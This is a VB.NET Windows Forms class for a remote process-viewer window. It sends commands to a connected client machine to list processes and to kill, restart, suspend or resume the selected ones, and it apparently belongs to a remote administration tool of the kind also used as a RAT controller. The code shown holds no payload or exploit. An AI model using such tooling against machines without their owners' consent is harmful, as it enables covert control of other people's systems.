Imports System.Threading
Public Class ProcessV

    Public C As Client
    Private Sub ProcessV_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Refresh()
    End Sub
    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        Try
            If Not C.IsConnected Then
                Close()
            End If
        Catch ex As Exception
            Debug.WriteLine(ex.Message)
        End Try
    End Sub

    Public Sub Refresh()

        ListView1.Items.Clear()

        ToolStripStatusLabel4.Text = "Wait.."

        Dim B As Byte() = SB("R#")
        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)

    End Sub

    Private Sub ProcessV_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
        Dim B As Byte() = SB("CloseProcess")
        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
    End Sub

    Private Sub ListView1_SelectedIndexChanged(sender As Object, e As EventArgs) Handles ListView1.SelectedIndexChanged
        Try
            ToolStripStatusLabel3.Text = "Selected [" & ListView1.SelectedItems.Count.ToString & "]"
        Catch ex As Exception
            Debug.WriteLine(ex.Message)
        End Try
    End Sub

    Private Sub ListView1_KeyDown(sender As Object, e As KeyEventArgs) Handles ListView1.KeyDown
        Try
            If e.Modifiers = Keys.Control AndAlso e.KeyCode = Keys.A Then
                If ListView1.Items.Count > 0 Then
                    For Each x As ListViewItem In ListView1.Items
                        x.Selected = True
                    Next
                End If
            End If
        Catch ex As Exception
            Debug.WriteLine(ex.Message)
        End Try
    End Sub

    Private Sub ToolStripMenuItem4_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem4.Click
        Refresh()
    End Sub

    Private Sub ToolStripMenuItem6_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem6.Click
        Dim ProcessID As String
        ProcessID = Nothing
        For Each LV As ListViewItem In ListView1.SelectedItems
            ProcessID &= "-=>" & LV.SubItems(1).Text
        Next
        Dim B As Byte() = SB("kill" & SettingsHelper.SPL & ProcessID)
        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
    End Sub

    Private Sub RestartToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles RestartToolStripMenuItem1.Click
        Dim ProcessID As String
        ProcessID = Nothing
        For Each LV As ListViewItem In ListView1.SelectedItems
            ProcessID &= "-=>" & LV.SubItems(1).Text
        Next
        Dim B As Byte() = SB("RestartProcess" & SettingsHelper.SPL & ProcessID)
        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
    End Sub

    Private Sub ToolStripMenuItem2_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem2.Click
        Dim ProcessID As String
        ProcessID = Nothing
        For Each LV As ListViewItem In ListView1.SelectedItems
            ProcessID &= "-=>" & LV.SubItems(1).Text
        Next
        Dim B As Byte() = SB("SuspendProcess" & SettingsHelper.SPL & ProcessID)
        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
    End Sub

    Private Sub ResumeToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ResumeToolStripMenuItem.Click
        Dim ProcessID As String
        ProcessID = Nothing
        For Each LV As ListViewItem In ListView1.SelectedItems
            ProcessID &= "-=>" & LV.SubItems(1).Text
        Next
        Dim B As Byte() = SB("ResumeProcess" & SettingsHelper.SPL & ProcessID)
        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
    End Sub
End Class